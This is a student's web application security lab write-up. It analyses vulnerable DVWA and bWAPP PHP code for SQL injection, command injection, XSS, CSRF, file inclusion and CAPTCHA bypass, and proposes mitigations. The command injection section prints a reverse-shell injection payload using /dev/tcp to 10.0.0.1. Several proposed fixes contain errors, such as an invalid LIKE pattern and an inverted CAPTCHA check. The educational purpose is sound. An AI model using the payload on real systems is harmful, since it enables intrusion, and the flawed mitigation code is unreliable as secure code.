Web Application Security Lab 6 Writeup

Olson Section 1

Ryan Cheevers-Brown

SQL Injection (DVWA), SQL Injection (GET/Search) (BWApp)

The root cause in the DVWA "low" script is the lack of sanitization - the `$id` variable is taken directly from the input form. I can put any code I want into the `$id` variable via the GET parameter and have the web server run it. The second line has been simplified for readibility, as it does a lot of error handling.

```
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query(..., $query);
```

This vulnerability is fixed in DVWA's Impossible difficulty using a prepared query and PHP's PDOs (prepared data objects). The SQL statement is created as a PDO with the `prepare` method as seen on the first line. This separates the SQL code from the user input and guarantees that the user can't easily escape the SQL query with `'` or `;` characters. The next line binds the `$id` variable to the `:id` parameter in the SQL query and ensures that it is treated as an integer. The query is then safely executed.

```
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE
user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
```

In BWApp, the vulnerability is very similar:

```
$title  = $_GET["title"];
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli_($title) ."%'";
$recordset = mysql_query($sql, $link);
```

This code takes the `$title` value directly from the user's `GET` parameter and passes it into the SQL query without doing any parameterization or sanitization.

DVWA's Impossible mitigation can be applied to this code as well. It would look something like this:

```
$title = $_GET["title"];
$data = $db->prepare( 'SELECT * FROM movies WHERE title LIKE %(:title)%;'
);
$data->bindParam( ':title', $title, PDO::PARAM_STR );
$data->execute();
```

This code creates a prepared query structured the same as the original BWApp query. It then does the parameter binding, but using a PDO string instead of an integer. It then executes the query. This should be very difficult to SQL inject into.

Command Injection (DVWA), OS Command Injection (BWApp)

The root cause in DVWA's "low" script is again, unsanitized input. This gives me (the attacker) the ability to execute any command they want by inserting a pipe `|` or semicolon `;` to break the command, followed by whatever secondary command they want.

```
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping -c 4 ' . $target );
```

DVWA's Impossible mode mitigates this by removing slashes, exploding the input into four octets, and then making sure each of the octets is numeric. This should cause errors if the input is not structured in the form of an IP address. However, this still leaves a vulnerability present: using a fifth octet to inject a command.

```
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$octet = explode( ".", $target );
if( #each octet is numeric ){
    $target = octet[1] . "." ... "." octet[3] ;
    $cmd = shell_exec( 'ping -c 4 ' . $target );
}
```

The code does not check to see if more than four 'octets' are present after the `explode()` command. This leaves the door open for an input structured like this:

```
1.1.1.1.;bash -i >& unbase64(base64-encoded("/dev/tcp/10.0.0.1/8080
0>&1"))
```

This would create a reverse shell listener that the attacker could then connect to. I would fix this problem (and simplify the code) by matching the user's input string to a very tightly written regular expression. This regex checks to make sure that the user's input is structured as four groups of 1 to 3 numbers separated by a single perio, and that there are no additional characters on the beginning or end. This would make command injection close to, if not entirely impossible.

```
target = requests.get("ip")
check_regex = "/([0-9]{1,3}\.){3}[0-9]{1,3}/g"
regex_match = regex.match(input, check_regex)
```

The BWApp script doesn't do any input validation:

```
$target = $_POST['target'];
echo shell_exec("nslookup " . commandi($target));>
```

It takes the parameter from the POST request and passes it directly to NSLookup. This could be mitigated with the same regex checking as proposed for the DVWA Impossible mode improvement. I personally wouldn't bother implementing the current DVWA Impossible mitigation, as it's already vulnerable.

Reflected XSS (DVWA), XSS - Reflected (GET) (BWApp)

I am protecting only one parameter in this section. Similar mitigations would need to be applied to all parameters submitted in order to get adequate protection.

The DVWA `low` script is vulnerable:

```
header ("X-XSS-Protection: 0");

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
```

The `$name` GET parameter is passed directly into the HTML without any validation or sanitization, meaning that any code sent in the `name` GET parameter is directly output into the resulting web page. This means that an attacker can trick a user into clicking a link with a payload in the `$name` GET parameter included which will then execute said payload on the user's browser without the user's knowlege.

Additionally, the code disables any browser built-in XSS protection by disabling XSS protection in the header. This is also NOT recommended for any production systems.

DVWA's Impossible mode mitigates these vulnerabilities with several changes to the code. The first is simply leaving out the line that disables the browser's built-in XSS protection. The second is using PHP's `htmlspecialchars()` function to properly encode the entire input string, preventing any part of it from being interpreted as JS or HTML.

```
$name = htmlspecialchars( $_GET[ 'name '] );
```

Finally, the Impossible mode also checks that the anti-CSRF token submitted as part of the `$_REQUEST` matches the one stored server-side in `'$_SESSION`.

```
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
'index.php' );
```

These mitigations would make an XSS attack much more difficult to pull off using this web page.

The BWApp script has slightly different code, but effectively the same vulnerabilities as the DVWA Low mode.

```
$first = $_GET["firstname"];
$last = $_GET["lastname"];
echo "Welcome " . $first . " " . $last;
```

There is no input validation or sanitization, so I can input absolutely any code I want in the last name parameter and have it execute on the target system (once they click my specially crafted link).

The mitigation from DVWA's Impossible mode, as applied to DVWA, would look something like this:

```
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
'index.php' );
$first = htmlspecialchars( $_GET[ 'firstname' ]);
$last = htmlspecialchars( $_GET[ 'lastname' ]);
echo "Welcome " . $first . " " . $last;
```

Both the first and last name parameters would be HTML-ified by the PHP function, and the page would be checked for the CSRF token. This would prevent any code inserted as a first or last name parameter from executing as HTML or JS.

XSS - Stored (DVWA), XSS - Stored (Blog) (DVWA)

For this entire section, I am focusing on mitigating the blog post/message/comment/entry. Similar mitigations would need to be applied to the name/owner/submitter as well as any other user-defineable parameters.

The root cause in DVWA's `low` script is the ability to inject HTML/JS into the blog's SQL database. The HTML/JS injected will then be run on any client system that loads the page:

```
$message = trim( $_POST[ 'message' ] );
$message = stripslashes( $message );
$message = (assert !isSQLQuery( $message )); # This line psuedo-codified
for easier reading
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message',
'$name' );";
$result = mysqli_query(..., $query)...;
```

This code takes the `message` parameter passed in via `POST` request, attempts to do some basic input validation by removing slashes/escaped characters, making sure the message isn't directly SQL code, and then drops it straight into the database.

The `Impossible` mode of DVWA mitigates this:

```
$message = trim( $_POST[ 'message' ] );
$message = stripslashes( $message );
assert !isSQLQuery( $message ); # This line psuedo-codified for easier
reading
$message = htmlspecialchars( $message );

$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES (
:message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
```

There are two mitigations present here. The first is the use of PHP's `htmlspecialchars()` method which escapes all HTML special characters, guaranteeing that the value passed in can't execute as HTML/JS code. The second mitigation, for a secondary vulnerability, mitigates SQL injection by use of a prepared query. This guarantees that the database isn't SQL-injectable, another potential way to abuse this web page.

BWApp is also vulnerable to HTML/JS Injection:

```
$entry = $_POST[ 'entry' ];
$sql = 'INSERT INTO blog ( date, entry, owner ) VALUES ( now(),' . $entry
. "', '" . $owner . "')";
$recordset = $link->query($sql);
```

There is at least one mistake in this code: the SQL query is never terminated with a `;` character. Additionally, the code could be written much more cleanly. I'll do some rewriting in the mitigation.

The code is vulnerable to SQL injection on top of JS/HTML injection into the database. Any string passed in as the `entry` POST parameter is immediately added to the database without any sort of sanitization or validation.

A sample mitigation for BWApp could look something like this:

```
$entry = $_POST[ 'entry' ];
$entry = stripslashes( $entry );
assert !isSqlQuery( $entry ); # This line psuedo-codeified for easier
reading, the actual PHP is very long
$entry = htmlspecialchars( $entry );
$data = $db->prepare('INSERT INTO blog ( date, entry, owner ) VALUES (
:now, :entry, :owner );');
$data->bindParam( ':now', now(), PDO::PARAM_STR );
$data->bindParam( ':entry', $entry, PDO::PARAM_STR );
$data->bindParam( ':owner', $owner, PDO::PARAM_STR );
$data->execute()
```

These mitigations prevent SQL injection and HTML/JS injection through the `entry` parameter. It's still theoretically possible, but much harder to do.

CSRF (DVWA) - Analysis and Mitigation

DVWA's `low` script is vulnerable to CSRF, allowing an attacker to change the user's password. It does not check for a CSRF token or any sort of validation about where the request is coming from. Additionally, it does not check to see that the user knows the current password, which is another step that helps authenticate a user when changing their password.

```
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if ( $pass_new == $pass_conf ){
    assert !isSqlQuery( $pass_new );
    $pass_new = md5( $pass_new );
    $cur_user = dvwacurrentUser();
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" .
$cur_user . "';";
    $result = mysqli_query( ..., $insert );
}
```

The medium script attempts to mitigate CSRF by adding a server referral check:

```
if ( stripos( $_SERVER[ 'HTTP_REFERRER' ], $_SERVER[ 'SERVER_NAME' ]) !==
false ){
    change_password() # See LOW section, code is the same.
} else {
    $html .= "<pre>That request didn't look correct.</pre>";
}
```

This is helpful, but the `referrer` parameter can be spoofed as we learned in Lab 5.

The high script adds additional mitigations, such as checking the content for JSON requests, verifying all parameters, and includes rudimentary CSRF checking. However, the SameSite attribute wasn't set on the CSRF cookie, and the SQL still isn't in a prepared query.

```
generateSessionToken();
header ( "Content-Type: application/json" );
print json_encode( array( "Message" => $return_message ));
```

The `Impossible` mode adds a complete CSRF mitigation and parameterizes the database calls, in addition to requiring the user to submit their current password:

```
# Check the CSRF token before even variablizing the parameters
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
```

```
'index.php' );

# Pull current password, new password, confirmation out of the GET fields
$pass_cur = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

# Sanitize the current password for checking against the database
$pass_curr = stripslashes( $pass_curr );
assert !isSqlQuery( $pass_curr );
$pass_curr = md5( $pass_curr );

# Prepare a query to check the current password is correct, supporting
authenticity of the request
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND
password = (:password) LIMIT 1;' );
$cur_user = dvwaCurrentUser();
$data->bindParam( ':user', $cur_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_cur, PDO::PARAM_STR );
$data->execute()

# Check if the new password and confirmation value match, additionally
check to see that the current password provided is correct
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
    # Sanitize and hash the new password
    $pass_new = sanitize($pass_new);
    assert !isSqlQuery($pass_new);
    $pass_new = md5( $pass_new );

    # Prepare a query and insert the necessary values to change the
password
    data = $db->prepare( 'UPDATE users SET password = (:password) WHERE
user = (:user);' );
    $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
    $cur_user = dvwaCurrentUser();
    $data->bindParam( ':user', $cur_user, PDO::PARAM_STR );
    $data->execute();
}
```

This should be a very effective CSRF, XSS, and SQL injection mitigation.

There are no additional mitigations I would recommend, this appears to be a very complete mitigation strategy.

BWApp's `clickjacking.php` appears to be vulnerable to CSRF as well. It includes protection against embedding, but not CSRF. The page uses the following code:

```
$tix_qty = abs( $_REQUEST[ 'ticket_quantity' ]);
$total_amt = $tix_qty * $ticket_price;
```

```
echo "<p> You ordered <b>" . $tix_qty . "</b> movie tickets. Total amount
charged automatically: <b>" . $total_amt . " USD</b>.</p>";
```

Tricking a user into clicking a link structured like `bwapp.com/clickjacking.php?ticket_quantity=100` would buy 100 tickets without any user interaction. This could be protected against by adding code:

```
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
'index.php' );
```

That code would go above the line beginning with `$tix_qty`. This code would go near the bottom of every page:

```
generateSessionToken();
session_set_cookie_params( [ 'samesite' => 'Strict' ]);
```

That should make this page relatively invulnerable to CSRF, at least at the level we learned about in this class.

File Inclusion (DVWA) - Analysis and Mitigation

The `low` setting on DVWA contains the following code:

```
$file = $_GET[ 'page' ];
```

This is vulnerable to file inclusion beacuse there is no input validation or sanitization. An attacker can place quite literally *anything* they want in that field and have it included on the calling web page when it reloads.

The `medium` difficulty immproves upon this with a bit of input validation. It contains the same first line as above, but has a bit of input sanitization:

```
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
```

These two lines should prevent an easy directory traversal or remote file inclusion by removing parent directory pathing and `http`/`https`.

DVWA's `hard` includes further sanitization:

```
$file = $_GET[ 'page' ];
if( fnmatch( "file*", $file ) && ( $file != "include.php" ) {
    echo "ERROR";
```

```
    exit;
} # Else, file is included.
```

This is much stricter input validation. However, it uses the PHP function `fnmatch` which checks if the string matches a shell pattern. Here, it's just checking if the string starts with the string `'file'`. This is definitely exploitable.

Impossible mode specifies the exact names of the files we want to include:

```
$file = $_GET[ 'page' ];
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php"
&& $file != "file3.php" ) {
    echo "ERROR";
    exit;
} # Else, include the file.
```

This specifies the exact files that can be included, leaving no room for interpretation. However, this means that users can't upload custom files. It limits the functionality of the site.

I don't think I'd improve the mitigations, as this limits the files that can be included with effectively 100% certainty.

BWAPP's `rlfi.php` looks to be vulnerable in a similar way:

```
if( isset( $_GET[ 'language' ])){
    include( $language );
}
```

The mitigation from `impossible` mode on DVWA could be implemented as such:

```
$file = $_GET[ 'language' ];
$acceptable_files = array( "file1.php",
"file2.png", "file3.html", "file4.md" );
if( in_array( $file, $acceptable_files ) ){
    include( $file );
} # Else: file not acceptable and not included
```

This solution limits the functionality of the site, but should completely prohibit any file inclusion that is not intended by the author of the site.

Research - Insecure CAPTCHA

The insecure CAPTCHA vulnerability appears in the DVWA's `low` difficulty. It appears that there is no validation to check if the user actually passed the captcha. Sending a `POST` request with the `step`

parameter set to `2` should bypass the captcha entirely and allow a password change. If the `step` parameter is set to `1`, like it should be the first time the page loads, the user will have to do a captcha.

On `medium` difficulty, there is some PHP code added to check if the user passed the captcha, but it can still be bypassed by sending in a `passed_captcha` parameter set to `true`.

```
# Check if the POST parameter 'passed_captcha' equals 'true'
if( !$_POST[ 'passed_captcha' ] ) {
    $html .= "You did not pass the captcha";
    return;
}
```

This is not a proper way of validating a CAPTCHA as an attacker can easily POST the parameter `passed_captcha` without passing the CAPTCHA.

`Hard` difficulty adds a slightly more difficult value to find:

```
$resp || (
    $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[
'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
```

When you send the POST request, you would have to set the parameter `g-recaptcha-response` to `hidd3n-valu3`, but this is not a dynamic value and therefore does not require actualy completing the captcha to validate.

`Impossible` mode adds a proper captcha that checks against the answer, not a fixed string:

```
$resp = recaptcha_check_answer(
    $_DVWA[ 'recaptcha-private-key' ],
    $_POST[ 'g-recaptcha-response' ]
);

if( !$resp ){
    #Do the change password proceedure
    change_password()
} else {
    echo "nope lol, wrong captcha";
    exit;
}
```

This page also happens to have proper CSRF checking and parameterized prepared SQL queries, making it pretty invulnerable to common web app attacks. I wouldn't change a thing - this web page looks very secure.

Finally, BWApp does incorporate a CAPTCHA on the `ba_captcha_bypass.php` page. However, the actual CAPTCHA generation is on the `captcha.php` page, which gets its random characters from the `functions_external.php` page.

None of this appears to be vulnerable code. ChatGPT suggested that there may be a vulnerability within client-side cookie manipulation, but I don't see where. The code looks well protected from a CAPTCHA bypass.

The preconditions you should look for are any of:

1. CAPTCHAs that are not randomly generated
2. CAPTCHA checks that only check to see if a static value is set, not a randomly generated one
3. Pages that have a CAPTCHA but don't ever check if it was validated
4. Weak CAPTCHAs - if the length is too short or does not contain enough different characters (ex. 'aaaaaa' is a weak captcha)

If any of these situations exist, a CAPTCHA bypass likely exists.